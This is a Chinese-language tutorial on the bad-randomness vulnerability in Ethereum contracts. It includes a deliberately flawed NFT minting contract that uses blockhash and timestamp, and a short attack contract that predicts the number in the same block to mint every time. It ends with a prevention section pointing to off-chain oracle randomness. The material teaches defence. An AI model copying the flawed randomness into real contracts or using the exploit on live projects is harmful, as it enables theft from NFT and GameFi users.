跳到主要内容

随机性漏洞

伪随机数​

以太坊上的许多应用程序,比如 NFT 随机 tokenId 抽奖、盲盒开启和 GameFi 战斗结果,都依赖于随机数。 然而,由于以太坊上的所有数据都是公开和确定性的,传统的随机生成方法如 random() 并不可用。

相反,项目通常使用伪随机数生成器,blockhash()和keccak256()。 这种方法被称为随机性漏洞(Bad Randomness Vulnerability),使攻击者能够预测结果,从而操纵结果,例如铸造特定的稀有 NFT。

这种漏洞在NFT和GameFi项目中很常见,包括Meebits, Loots, and Wolf Game。 它已经造成了重大的财务损失,比如 SmartBillions 彩票漏洞,攻击者利用可预测的结果赢得了超过 400 ETH。 更多信息请参阅文章, 区块链彩票被黑客攻击,损失12万美元。

随机性漏洞示例​

我们来探讨一个存在漏洞的NFT合约,FlawedRandomizer.sol。

contract FlawedRandomizer is ERC721 {
uint256 public totalMints;

// Constructor initializes the NFT collection's name and symbol.
constructor() ERC721("", ""){}

// Mint function: mints only when the input luckyNumber equals the random number.
function mintIfLucky(uint256 guessedNumber) public {
uint256 pseudoRandomNumber = uint256(keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))) % 100; // Get pseudo-random number
require(pseudoRandomNumber == guessedNumber, "Try again next time!");

_mint(msg.sender, totalMints);
totalMints++;
}
}

主函数mintIfLucky()要求用户输入一个0-99之间的数字。 如果与链生成的伪随机数 pseudoRandomNumber匹配,则可以铸造一枚幸运的NFT。 漏洞在于用户能够完全预测生成的随机数并铸造NFT。

我们编写一个攻击合约Exploit.sol。

contract Exploit {
function executeMint(FlawedRandomizer nftAddress) public {
// Calculate the random number in advance
uint256 predictedNumber = uint256(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
) % 100;
// Use predictedNumber to execute the attack
nftAddress.mintIfLucky(predictedNumber);
}
}

函数executeMint() 以FlawedRandomizer合约地址为参数。 在这里,我们计算predictedNumber,然后将其传递到mintIfLucky() 函数来执行攻击。 由于在同一个区块中调用executeMint() 和 mintIfLucky(),blockhash和block.timestamp是相同的,因此可以预测生成的随机数字。

预防策略​

使用Oracle项目提供的链下随机数来防止这种类型的漏洞,例如Chainlink VRF。 这些随机数是在链下生成的,并上传到区块链,确保它们是不可预测的。